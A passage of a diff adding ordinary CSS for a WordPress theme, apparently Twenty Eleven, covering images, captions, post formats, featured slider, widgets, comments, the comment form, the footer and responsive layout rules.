display: block; + margin: 0 0 1.625em; +} +.page-link a { + background: #eee; + color: #373737; + margin: 0; + padding: 2px 3px; + text-decoration: none; +} +.page-link a:hover { + background: #888; + color: #fff; + font-weight: bold; +} +.page-link span { + margin-right: 6px; +} +.entry-meta .edit-link a, +.commentlist .edit-link a { + background: #eee; + -moz-border-radius: 3px; + border-radius: 3px; + color: #666; + float: right; + font-size: 12px; + line-height: 1.5em; + font-weight: 300; + text-decoration: none; + padding: 0 8px; +} +.entry-meta .edit-link a:hover, +.commentlist .edit-link a:hover { + background: #888; + color: #fff; +} +.entry-content .edit-link { + clear: both; + display: block; +} + +/* Images */ +.entry-content img, +.comment-content img, +.widget img { + max-width: 97.5%; /* Fluid images for posts, comments, and widgets */ +} +img[class*="align"], +img[class*="wp-image-"], +img[class*="attachment-"] { + height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ +} +img.size-full, +img.size-large { + max-width: 97.5%; + width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */ + height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ +} +.entry-content img.wp-smiley { + border: none; + margin-bottom: 0; + margin-top: 0; + padding: 0; +} +img.alignleft, +img.alignright, +img.aligncenter { + margin-bottom: 1.625em; +} +p img, +.wp-caption { + margin-top: 0.4em; +} +.wp-caption { + background: #eee; + margin-bottom: 1.625em; + max-width: 96%; + padding: 9px; +} +.wp-caption img { + display: block; + margin: 0 auto; + max-width: 98%; +} +.wp-caption .wp-caption-text, +.gallery-caption { + color: #666; + font-family: Georgia, serif; + font-size: 12px; +} +.wp-caption .wp-caption-text { + margin-bottom: 0.6em; + padding: 10px 0 5px 40px; + position: relative; +} +.wp-caption .wp-caption-text:before { + color: #666; + content: '\2014'; + font-size: 14px; + font-style: normal; + font-weight: bold; + margin-right: 5px; + position: absolute; + left: 10px; + top: 7px; +} +#content .gallery { + margin: 0 auto 1.625em; +} +#content .gallery a img { + border: none; +} +img#wpstats { + display: block; + margin: 0 auto 1.625em; +} +#content .gallery-columns-4 .gallery-item { + width: 23%; + padding-right: 2%; +} +#content .gallery-columns-4 .gallery-item img { + width: 100%; + height: auto; +} + +/* Image borders */ +img[class*="align"], +img[class*="wp-image-"], +#content .gallery .gallery-icon img {/* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */ + border: 1px solid #ddd; + padding: 6px; +} +.wp-caption img { + border-color: #eee; +} +a:focus img[class*="align"], +a:hover img[class*="align"], +a:active img[class*="align"], +a:focus img[class*="wp-image-"], +a:hover img[class*="wp-image-"], +a:active img[class*="wp-image-"], +#content .gallery .gallery-icon a:focus img, +#content .gallery .gallery-icon a:hover img, +#content .gallery .gallery-icon a:active img {/* Add some useful style to those fancy borders for linked images ... */ + background: #eee; + border-color: #bbb; +} +.wp-caption a:focus img, +.wp-caption a:active img, +.wp-caption a:hover img {/* ... including captioned images! */ + background: #fff; + border-color: #ddd; +} + +/* Make sure embeds and iframes fit their containers */ +embed, +iframe, +object { + max-width: 100%; +} + +/* Password Protected Posts */ +.post-password-required .entry-header .comments-link { + margin: 1.625em 0 0; +} +.post-password-required input[type=password] { + margin: 0.8125em 0; +} +.post-password-required input[type=password]:focus { + background: #f7f7f7; +} + +/* Author Info */ +#author-info { + font-size: 12px; + overflow: hidden; +} +.singular #author-info { + background: #f9f9f9; + border-top: 1px solid #ddd; + border-bottom: 1px solid #ddd; + margin: 2.2em -35.6% 0 -35.4%; + padding: 20px 35.4%; +} +.archive #author-info { + border-bottom: 1px solid #ddd; + margin: 0 0 2.2em; + padding: 0 0 2.2em; +} +#author-avatar { + float: left; + margin-right: -78px; +} +#author-avatar img { + background: #fff; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #bbb; + -moz-box-shadow: 0 1px 2px #bbb; + box-shadow: 0 1px 2px #bbb; + padding: 3px; +} +#author-description { + float: left; + margin-left: 108px; +} +#author-description h2 { + color: #000; + font-size: 15px; + font-weight: bold; + margin: 5px 0 10px; +} + +/* Comments link */ +.entry-header .comments-link a { + background: #eee url(images/comment-bubble.png) no-repeat; + color: #666; + font-size: 13px; + font-weight: normal; + line-height: 35px; + overflow: hidden; + padding: 0 0 0; + position: absolute; + top: 1.5em; + right: 0; + text-align: center; + text-decoration: none; + width: 43px; + height: 36px; +} +.entry-header .comments-link a:hover, +.entry-header .comments-link a:focus, +.entry-header .comments-link a:active { + background-color: #1982d1; + color: #fff; + color: rgba(255,255,255,0.8); +} +.entry-header .comments-link .leave-reply { + visibility: hidden; +} + +/* +Post Formats Headings +To hide the headings, display: none the ".entry-header .entry-format" selector, +and remove the padding rules below. +*/ +.entry-header .entry-format { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + position: absolute; + text-transform: uppercase; + top: -5px; +} +.entry-header hgroup .entry-title { + padding-top: 15px; +} +article.format-aside .entry-content, +article.format-link .entry-content, +article.format-status .entry-content { + padding: 20px 0 0; +} +article.format-status .entry-content { + min-height: 65px; +} +.recent-posts .entry-header .entry-format { + display: none; +} +.recent-posts .entry-header hgroup .entry-title { + padding-top: 0; +} + +/* Singular content styles for Posts and Pages */ +.singular .hentry { + border-bottom: none; + padding: 4.875em 0 0; + position: relative; +} +.singular.page .hentry { + padding: 3.5em 0 0; +} +.singular .entry-title { + color: #000; + font-size: 36px; + font-weight: bold; + line-height: 48px; +} +.singular .entry-title, +.singular .entry-header .entry-meta { + padding-right: 0; +} +.singular .entry-header .entry-meta { + position: absolute; + top: 0; + left: 0; +} +blockquote.pull { + font-size: 21px; + font-weight: bold; + line-height: 1.6125em; + margin: 0 0 1.625em; + text-align: center; +} +.singular blockquote.pull { + margin: 0 -22.25% 1.625em; +} +.pull.alignleft { + margin: 0 1.625em 0 0; + text-align: right; + width: 33%; +} +.singular .pull.alignleft { + margin: 0 1.625em 0 -22.25%; +} +.pull.alignright { + margin: 0 0 0 1.625em; + text-align: left; + width: 33%; +} +.singular .pull.alignright { + margin: 0 -22.25% 0 1.625em; +} +.singular blockquote.pull.alignleft, +.singular blockquote.pull.alignright { + width: 33%; +} +.singular .entry-meta .edit-link a { + bottom: auto; + left: 50px; + position: absolute; + right: auto; + top: 80px; +} + + +/* =Aside +----------------------------------------------- */ + +.format-aside .entry-title, +.format-aside .entry-header .comments-link { + display: none; +} +.singular .format-aside .entry-title { + display: block; +} +.format-aside .entry-content { + padding: 0; +} +.singular .format-aside .entry-content { + padding: 1.625em 0 0; +} + + +/* =Link +----------------------------------------------- */ + +.format-link .entry-title, +.format-link .entry-header .comments-link { + display: none; +} +.singular .format-link .entry-title { + display: block; +} +.format-link .entry-content { + padding: 0; +} +.singular .format-link .entry-content { + padding: 1.625em 0 0; +} + + +/* =Gallery +----------------------------------------------- */ + +.format-gallery .gallery-thumb { + float: left; + display: block; + margin: .375em 1.625em 0 0; +} + + +/* =Status +----------------------------------------------- */ + +.format-status .entry-title, +.format-status .entry-header .comments-link { + display: none; +} +.singular .format-status .entry-title { + display: block; +} +.format-status .entry-content { + padding: 0; +} +.singular .format-status .entry-content { + padding: 1.625em 0 0; +} +.format-status img.avatar { + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #ccc; + -moz-box-shadow: 0 1px 2px #ccc; + box-shadow: 0 1px 2px #ccc; + float: left; + margin: 4px 10px 2px 0; + padding: 0; +} + + +/* =Quote +----------------------------------------------- */ + +.format-quote blockquote { + color: #555; + font-size: 17px; + margin: 0; +} + + +/* =Image +----------------------------------------------- */ + +.indexed.format-image .entry-header { + min-height: 61px; /* Prevent the comment icon from colliding with the image when there is no title */ +} +.indexed.format-image .entry-content { + padding-top: 0.5em; +} +.indexed.format-image p, +.indexed.format-image p img { + margin-bottom: 0; +} +.indexed.format-image footer.entry-meta { + background: #ddd; + margin-top: -7px; + padding: 20px 30px; + overflow: hidden; +} +.indexed.format-image div.entry-meta { + display: inline-block; + float: left; + width: 35%; +} +.indexed.format-image div.entry-meta + div.entry-meta { + float: none; + width: 65%; +} +.indexed.format-image .entry-meta span.cat-links, +.indexed.format-image .entry-meta span.tag-links, +.indexed.format-image .entry-meta span.comments-link { + display: block; +} +.indexed.format-image footer.entry-meta a { + color: #444; +} +.indexed.format-image footer.entry-meta a:hover { + color: #fff; +} +#content .indexed.format-image img { + border: none; + max-width: 100%; + padding: 0; +} +.indexed.format-image .wp-caption { + background: #111; + margin-bottom: 0; + max-width: 96%; + padding: 11px; +} +.indexed.format-image .wp-caption .wp-caption-text { + color: #ddd; +} +.indexed.format-image .wp-caption .wp-caption-text:before { + color: #444; +} +.indexed.format-image a:hover img { + opacity: 0.8; +} + + +/* =error404 +----------------------------------------------- */ + +.error404 #main #searchform { + background: #f9f9f9; + border: 1px solid #ddd; + border-width: 1px 0; + margin: 0 -8.9% 1.625em; + overflow: hidden; + padding: 1.625em 8.9%; +} +.error404 #main #s { + width: 95%; +} +.error404 #main .widget { + clear: none; + float: left; + margin-right: 3.7%; + width: 30.85%; +} +.error404 #main .widget_archive { + margin-right: 0; +} +.error404 #main .widget_tag_cloud { + float: none; + margin-right: 0; + width: 100%; +} +.error404 .widgettitle { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} + + +/* =Showcase +----------------------------------------------- */ + +h1.showcase-heading { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} + +/* Intro */ +article.intro { + background: #f9f9f9; + border-bottom: none; + margin: -1.855em -8.9% 1.625em; + padding: 0 8.9%; +} +article.intro .entry-title { + display: none; +} +article.intro .entry-content { + color: #111; + font-size: 16px; + padding: 1.625em 0 0.625em; +} +article.intro .edit-link a { + background: #aaa; + -moz-border-radius: 3px; + border-radius: 3px; + color: #fff; + font-size: 12px; + padding: 0 8px; + position: absolute; + top: 30px; + right: 20px; + text-decoration: none; +} +article.intro .edit-link a:hover, +article.intro .edit-link a:focus, +article.intro .edit-link a:active { + background: #777; +} + +/* Featured post */ +section.featured-post { + float: left; + margin: -1.625em -8.9% 1.625em; + padding: 1.625em 8.9% 0; + position: relative; + width: 100%; +} +section.featured-post .hentry { + border: none; + color: #666; + margin: 0; +} +section.featured-post .entry-meta { + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + position: absolute !important; +} + +/* Small featured post */ +section.featured-post .attachment-small-feature { + float: right; + height: auto; + margin: 0 -8.9% 1.625em 0; + max-width: 59%; + position: relative; + right: -15px; +} +section.featured-post.small { + padding-top: 0; +} +section.featured-post .attachment-small-feature:hover, +section.featured-post .attachment-small-feature:focus, +section.featured-post .attachment-small-feature:active { + opacity: .8; +} +article.feature-image.small { + float: left; + margin: 0 0 1.625em; + width: 45%; +} +article.feature-image.small .entry-title { + line-height: 1.2em; +} +article.feature-image.small .entry-summary { + color: #555; + font-size: 13px; +} +article.feature-image.small .entry-summary p a { + background: #222; + color: #eee; + display: block; + left: -23.8%; + padding: 9px 26px 9px 85px; + position: relative; + text-decoration: none; + top: 20px; + width: 180px; + z-index: 1; +} +article.feature-image.small .entry-summary p a:hover { + background: #1982d1; + color: #eee; + color: rgba(255,255,255,0.8); +} + +/* Large featured post */ +section.feature-image.large { + border: none; + max-height: 288px; + padding: 0; + width: 100%; +} +section.feature-image.large .showcase-heading { + display: none; +} +section.feature-image.large .hentry { + border-bottom: none; + left: 9%; + margin: 1.625em 9% 0 0; + position: absolute; + top: 0; +} +article.feature-image.large .entry-title a { + background: #222; + background: rgba(0,0,0,0.8); + -moz-border-radius: 3px; + border-radius: 3px; + color: #fff; + display: inline-block; + font-weight: 300; + padding: .2em 20px; +} +section.feature-image.large:hover .entry-title a, +section.feature-image.large .entry-title:hover a { + background: #eee; + background: rgba(255,255,255,0.8); + color: #222; +} +article.feature-image.large .entry-summary { + display: none; +} +section.feature-image.large img { + display: block; + height: auto; + max-width: 117.9%; + padding: 0 0 6px; +} + +/* Featured Slider */ +.featured-posts { + border-bottom: 1px solid #ddd; + display: block; + height: 328px; + margin: 1.625em -8.9% 20px; + max-width: 1000px; + padding: 0; + position: relative; + overflow: hidden; +} +.featured-posts .showcase-heading { + padding-left: 8.9%; +} +.featured-posts section.featured-post { + background: #fff; + height: 288px; + left: 0; + margin: 0; + position: absolute; + top: 30px; + width: auto; +} +.featured-posts section.featured-post.large { + max-width: 100%; + overflow: hidden; +} +.featured-posts section.featured-post { + -webkit-transition-duration: 200ms; + -webkit-transition-property: opacity, visibility; + -webkit-transition-timing-function: ease; + -moz-transition-duration: 200ms; + -moz-transition-property: opacity, visibility; + -moz-transition-timing-function: ease; +} +.featured-posts section.featured-post { + opacity: 0; + visibility: hidden; +} +.featured-posts #featured-post-1 { + opacity: 1; + visibility: visible; +} +.featured-post .feature-text:after, +.featured-post .feature-image.small:after { + content: ' '; + background: -moz-linear-gradient(top, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 100%); /* FF3.6+ */ + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,0)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */ + background: -webkit-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */ + background: -o-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Opera11.10+ */ + background: -ms-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* IE10+ */ + filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=0 ); /* IE6-9 */ + background: linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* W3C */ + width: 100%; + height: 45px; + position: absolute; + top: 230px; +} +.featured-post .feature-image.small:after { + top: 253px; +} +#content .feature-slider { + top: 5px; + right: 8.9%; + overflow: visible; + position: absolute; +} +.feature-slider ul { + list-style-type: none; + margin: 0; +} +.feature-slider li { + float: left; + margin: 0 6px; +} +.feature-slider a { + background: #3c3c3c; + background: rgba(60,60,60,0.9); + -moz-border-radius: 12px; + border-radius: 12px; + -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + display: block; + width: 14px; + height: 14px; +} +.feature-slider a.active { + background: #1982d1; + -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + cursor: default; + opacity: 0.5; +} + +/* Recent Posts */ +section.recent-posts { + padding: 0 0 1.625em; +} +section.recent-posts .hentry { + border: none; + margin: 0; +} +section.recent-posts .other-recent-posts { + border-bottom: 1px solid #ddd; + list-style: none; + margin: 0; +} +section.recent-posts .other-recent-posts li { + padding: 0.3125em 0; + position: relative; +} +section.recent-posts .other-recent-posts .entry-title { + border-top: 1px solid #ddd; + font-size: 17px; +} +section.recent-posts .other-recent-posts a[rel="bookmark"] { + color: #373737; + float: left; + max-width: 84%; +} +section.recent-posts .other-recent-posts a[rel="bookmark"]:after { + content: '-'; + color: transparent; + font-size: 11px; +} +section.recent-posts .other-recent-posts a[rel="bookmark"]:hover { +} +section.recent-posts .other-recent-posts .comments-link a, +section.recent-posts .other-recent-posts .comments-link > span { + border-bottom: 2px solid #999; + bottom: -2px; + color: #444; + display: block; + font-size: 10px; + font-weight: 500; + line-height: 2.76333em; + padding: 0.3125em 0 0.3125em 1em; + position: absolute; + right: 0; + text-align: right; + text-transform: uppercase; + z-index: 1; +} +section.recent-posts .other-recent-posts .comments-link > span { + border-color: #bbb; + color: #888; +} +section.recent-posts .other-recent-posts .comments-link a:hover { + color: #1982d1; + border-color: #1982d1; +} +section.recent-posts .other-recent-posts li:after { + clear: both; + content: '.'; + display: block; + height: 0; + visibility: hidden; +} + + +/* =Attachments +----------------------------------------------- */ + +.image-attachment div.attachment { + background: #f9f9f9; + border: 1px solid #ddd; + border-width: 1px 0; + margin: 0 -8.9% 1.625em; + overflow: hidden; + padding: 1.625em 1.625em 0; + text-align: center; +} +.image-attachment div.attachment img { + display: block; + height: auto; + margin: 0 auto 1.625em; + max-width: 100%; +} +.image-attachment div.attachment a img { + border-color: #f9f9f9; +} +.image-attachment div.attachment a:focus img, +.image-attachment div.attachment a:hover img, +.image-attachment div.attachment a:active img { + border-color: #ddd; + background: #fff; +} +.image-attachment .entry-caption p { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + margin: 0 0 2.6em; + text-transform: uppercase; +} + + +/* =Navigation +-------------------------------------------------------------- */ + +#content nav { + clear: both; + overflow: hidden; + padding: 0 0 1.625em; +} +#content nav a { + font-size: 12px; + font-weight: bold; + line-height: 2.2em; +} +#nav-above { + padding: 0 0 1.625em; +} +#nav-above { + display: none; +} +.paged #nav-above { + display: block; +} +.nav-previous { + float: left; + width: 50%; +} +.nav-next { + float: right; + text-align: right; + width: 50%; +} +#content nav .meta-nav { + font-weight: normal; +} + +/* Singular navigation */ +#nav-single { + float: right; + position: relative; + top: -0.3em; + text-align: right; + z-index: 1; +} +#nav-single .nav-previous, +#nav-single .nav-next { + float: none; + width: auto; +} +#nav-single .nav-next { + padding-left: .5em; +} + + +/* =Widgets +----------------------------------------------- */ + +.widget-area { + font-size: 12px; +} +.widget { + clear: both; + margin: 0 0 2.2em; +} +.widget-title { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.widget ul { + font-size: 15px; + margin: 0; +} +.widget ul ul { + margin-left: 1.5em; +} +.widget ul li { + color: #777; + font-size: 13px; +} +.widget a { + font-weight: bold; + text-decoration: none; +} +.widget a:hover, +.widget a:focus, +.widget a:active { + text-decoration: underline; +} + +/* Search Widget */ +.widget_search form { + margin: 0 0 1.625em; +} +.widget_search #s { + width: 77%; +} +.widget_search #searchsubmit { + background: #ddd; + border: 1px solid #ccc; + -webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + -moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + color: #888; + font-size: 13px; + line-height: 25px; + position: relative; + top: -2px; +} +.widget_search #searchsubmit:active { + background: #1982d1; + border-color: #0861a5; + -webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + color: #bfddf3; +} + +/* Ephemera Widget */ +section.ephemera ol, +.widget_twentyeleven_ephemera ol { + list-style: square; + margin: 5px 0 0; +} +.widget_twentyeleven_ephemera .widget-entry-title { + font-size: 15px; + font-weight: bold; + padding: 0; +} +.widget_twentyeleven_ephemera .comments-link a, +.widget_twentyeleven_ephemera .comments-link > span { + color: #666; + display: block; + font-size: 10px; + font-weight: 500; + line-height: 2.76333em; + text-transform: uppercase; +} +section.ephemera .entry-title .comments-link a:hover, +.widget_twentyeleven_ephemera .entry-title .comments-link a:hover { +} +section.ephemera .entry-title a span { + color: #29628d; +} + +/* Twitter */ +.widget_twitter li { + list-style-type: none; + margin-bottom: 14px; +} +.widget_twitter .timesince { + display: block; + font-size: 11px; + margin-right: -10px; + text-align: right; +} + +/* Widget Image */ +.widget_image img { + height: auto; + max-width: 100%; +} + +/* Calendar Widget */ + +.widget_calendar #wp-calendar { + color: #555; + width: 95%; + text-align: center; +} +.widget_calendar #wp-calendar caption, +.widget_calendar #wp-calendar td, +.widget_calendar #wp-calendar th { + text-align: center; +} +.widget_calendar #wp-calendar caption { + font-size: 11px; + font-weight: 500; + padding: 5px 0 3px 0; + text-transform: uppercase; +} +.widget_calendar #wp-calendar th { + background: #f4f4f4; + border-top: 1px solid #ccc; + border-bottom: 1px solid #ccc; + font-weight: bold; +} +.widget_calendar #wp-calendar tfoot td { + background: #f4f4f4; + border-top: 1px solid #ccc; + border-bottom: 1px solid #ccc; +} + + +/* =Comments +----------------------------------------------- */ + +#comments-title { + color: #666; + font-size: 10px; + font-weight: 500; + line-height: 2.6em; + padding: 0 0 2.6em; + text-transform: uppercase; +} +.nopassword, +.nocomments { + color: #aaa; + font-size: 24px; + font-weight: 100; + margin: 26px 0; + text-align: center; +} +.commentlist { + list-style: none; + margin: 0 auto; + width: 68.9%; +} +.content .commentlist, +.page-template-sidebar-page-php .commentlist { + width: 100%; /* reset the width for the one-column and sidebar page layout */ +} +.commentlist > li.comment { + background: #f6f6f6; + border: 1px solid #ddd; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 0 0 1.625em; + padding: 1.625em; + position: relative; +} +.commentlist .pingback { + margin: 0 0 1.625em; + padding: 0 1.625em; +} +.commentlist .children { + list-style: none; + margin: 0; +} +.commentlist .children li.comment { + background: #fff; + border-left: 1px solid #ddd; + -moz-border-radius: 0 3px 3px 0; + border-radius: 0 3px 3px 0; + margin: 1.625em 0 0; + padding: 1.625em; + position: relative; +} +.commentlist .children li.comment .fn { + display: block; +} +.comment-meta .fn { + font-style: normal; +} +.comment-meta { + color: #666; + font-size: 12px; + line-height: 2.2em; +} +.commentlist .children li.comment .comment-meta { + line-height: 1.625em; + margin-left: 50px; +} +.commentlist .children li.comment .comment-content { + margin: 1.625em 0 0; +} +.comment-meta a { + font-weight: bold; +} +.comment-meta a:focus, +.comment-meta a:active, +.comment-meta a:hover { +} +.commentlist .avatar { + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #ccc; + -moz-box-shadow: 0 1px 2px #ccc; + box-shadow: 0 1px 2px #ccc; + left: -102px; + padding: 0; + position: absolute; + top: 0; +} +.commentlist > li:before { + content: url(images/comment-arrow.png); + left: -21px; + position: absolute; +} +.commentlist > li.pingback:before { + content: ''; +} +.commentlist .children .avatar { + background: none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + left: 2.2em; + padding: 0; + top: 2.2em; +} +a.comment-reply-link { + background: #eee; + -moz-border-radius: 3px; + border-radius: 3px; + color: #666; + display: inline-block; + font-size: 12px; + padding: 0 8px; + text-decoration: none; +} +a.comment-reply-link:hover, +a.comment-reply-link:focus, +a.comment-reply-link:active { + background: #888; + color: #fff; +} +a.comment-reply-link > span { + display: inline-block; + position: relative; + top: -1px; +} + +/* Post author highlighting */ +.commentlist > li.bypostauthor { + background: #ddd; + border-color: #d3d3d3; +} +.commentlist > li.bypostauthor .comment-meta { + color: #575757; +} +.commentlist > li.bypostauthor .comment-meta a:focus, +.commentlist > li.bypostauthor .comment-meta a:active, +.commentlist > li.bypostauthor .comment-meta a:hover { +} +.commentlist > li.bypostauthor:before { + content: url(images/comment-arrow-bypostauthor.png); +} + +/* Post Author threaded comments */ +.commentlist .children > li.bypostauthor { + background: #ddd; + border-color: #d3d3d3; +} + +/* sidebar-page.php comments */ +/* Make sure we have room for our comment avatars */ +.page-template-sidebar-page-php .commentlist > li.comment, +.page-template-sidebar-page-php.commentlist .pingback { + margin-left: 102px; + width: auto; +} +/* And a full-width comment form */ +.page-template-sidebar-page-php #respond { + width: auto; +} + +/* Comment Form */ +#respond { + background: #ddd; + border: 1px solid #d3d3d3; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 0 auto 1.625em; + padding: 1.625em; + position: relative; + width: 68.9%; +} +#respond input[type="text"], +#respond textarea { + background: #fff; + border: 4px solid #eee; + -moz-border-radius: 5px; + border-radius: 5px; + -webkit-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + -moz-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + position: relative; + padding: 10px; + text-indent: 80px; +} +#respond .comment-form-author, +#respond .comment-form-email, +#respond .comment-form-url, +#respond .comment-form-comment { + position: relative; +} +#respond .comment-form-author label, +#respond .comment-form-email label, +#respond .comment-form-url label, +#respond .comment-form-comment label { + background: #eee; + -webkit-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + -moz-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + color: #555; + display: inline-block; + font-size: 13px; + left: 4px; + min-width: 60px; + padding: 4px 10px; + position: relative; + top: 40px; + z-index: 1; +} +#respond input[type="text"]:focus, +#respond textarea:focus { + text-indent: 0; + z-index: 1; +} +#respond textarea { + resize: vertical; + width: 95%; +} +#respond .comment-form-author .required, +#respond .comment-form-email .required { + color: #bd3500; + font-size: 22px; + font-weight: bold; + left: 75%; + position: absolute; + top: 45px; + z-index: 1; +} +#respond .comment-notes, +#respond .logged-in-as { + font-size: 13px; +} +#respond p { + margin: 10px 0; +} +#respond .form-submit { + float: right; + margin: -20px 0 10px; +} +#respond input#submit { + background: #222; + border: none; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + -moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + color: #eee; + cursor: pointer; + font-size: 15px; + margin: 20px 0; + padding: 5px 42px 5px 22px; + position: relative; + left: 30px; + text-shadow: 0 -1px 0 rgba(0,0,0,0.3); +} +#respond input#submit:active { + background: #1982d1; + color: #bfddf3; +} +#respond #cancel-comment-reply-link { + color: #666; + margin-left: 10px; + text-decoration: none; +} +#respond .logged-in-as a:hover, +#respond #cancel-comment-reply-link:hover { + text-decoration: underline; +} +.commentlist #respond { + margin: 1.625em 0 0; + width: auto; +} +#reply-title { + color: #373737; + font-size: 24px; + font-weight: bold; + line-height: 30px; +} +#cancel-comment-reply-link { + color: #888; + display: block; + font-size: 10px; + font-weight: normal; + line-height: 2.2em; + letter-spacing: 0.05em; + position: absolute; + right: 1.625em; + text-decoration: none; + text-transform: uppercase; + top: 1.1em; +} +#cancel-comment-reply-link:focus, +#cancel-comment-reply-link:active, +#cancel-comment-reply-link:hover { + color: #ff4b33; +} +#respond label { + line-height: 2.2em; +} +#respond input[type=text] { + display: block; + height: 24px; + width: 75%; +} +#respond p { + font-size: 12px; +} +p.comment-form-comment { + margin: 0; +} +.form-allowed-tags { + display: none; +} + + +/* =Footer +----------------------------------------------- */ + +#colophon { + clear: both; +} +#supplementary { + border-top: 1px solid #ddd; + padding: 1.625em 7.6%; + overflow: hidden; +} + +/* Two Footer Widget Areas */ +#supplementary.two .widget-area { + float: left; + margin-right: 3.7%; + width: 48.1%; +} +#supplementary.two .widget-area + .widget-area { + margin-right: 0; +} + +/* Three Footer Widget Areas */ +#supplementary.three .widget-area { + float: left; + margin-right: 3.7%; + width: 30.85%; +} +#supplementary.three .widget-area + .widget-area + .widget-area { + margin-right: 0; +} + +/* Site Generator Line */ +#site-generator { + background: #f9f9f9; + border-top: 1px solid #ddd; + color: #666; + font-size: 12px; + line-height: 2.2em; + padding: 2.2em 0.5em; + text-align: center; +} +#site-generator a { + color: #555; + font-weight: bold; +} +#site-generator .sep { + background: url(images/wordpress.png) center left no-repeat; + color: transparent; + display: inline-block; + height: 16px; + line-height: 16px; + margin: 0 7px; + width: 16px; +} + + +/* =Responsive Structure +----------------------------------------------- */ + +@media (max-width: 800px) { + /* Simplify the basic layout */ + #main #content { + margin: 0 7.6%; + width: auto; + } + #nav-below { + border-bottom: 1px solid #ddd; + margin-bottom: 1.625em; + } + #main #secondary { + float: none; + margin: 0 7.6%; + width: auto; + } + /* Simplify the showcase template */ + .page-template-showcase-php .featured-posts { + min-height: 280px; + } + .featured-posts section.featured-post { + height: auto; + } + .page-template-showcase-php section.recent-posts { + float: none; + margin: 0; + width: 100%; + } + .page-template-showcase-php #main .widget-area { + float: none; + margin: 0; + width: auto; + } + .page-template-showcase-php .other-recent-posts { + border-bottom: 1px solid #ddd; + } + /* Simplify the showcase template when small feature */ + section.featured-post .attachment-small-feature, + .one-column section.featured-post .attachment-small-feature { + border: none; + display: block; + float: left; + height: auto; + margin: 0.625em auto 1.025em; + max-width: 30%; + position: static; + } + article.feature-image.small { + float: right; + margin: 0 0 1.625em; + width: 64%; + } + .one-column article.feature-image.small .entry-summary { + height: auto; + } + article.feature-image.small .entry-summary p a { + left: 0; + padding-left: 20px; + padding-right: 20px; + width: auto; + } + /* Remove the margin on singular articles */ + .singular .entry-header, + .singular .entry-content, + .singular footer.entry-meta, + .singular #comments-title { + width: 100%; + } + /* Simplify the pullquotes and pull styles */ + .singular blockquote.pull { + margin: 0 0 1.625em; + } + .singular .pull.alignleft { + margin: 0 1.625em 0 0; + } + .singular .pull.alignright { + margin: 0 0 0 1.625em; + } + .singular .entry-meta .edit-link a { + left: 0; + position: absolute; + top: 40px; + } + .singular #author-info { + margin: 2.2em -8.8% 0; + padding: 20px 8.8%; + } + /* Make sure we have room for our comment avatars */ + .commentlist { + width: 100%; + } + .commentlist > li.comment, + .commentlist .pingback { + margin-left: 102px; + width: auto; + } + /* And a full-width comment form */ + #respond { + width: auto; + } + /* No need to float footer widgets at this size */ + #colophon #supplementary .widget-area { + float: none; + margin-right: 0; + width: auto; + } + /* No need to float 404 widgets at this size */ + .error404 #main .widget { + float: none; + margin-right: 0; + width: auto; + } + +} +@media (max-width: 650px) { + /* @media (max-width: 650px) Reduce 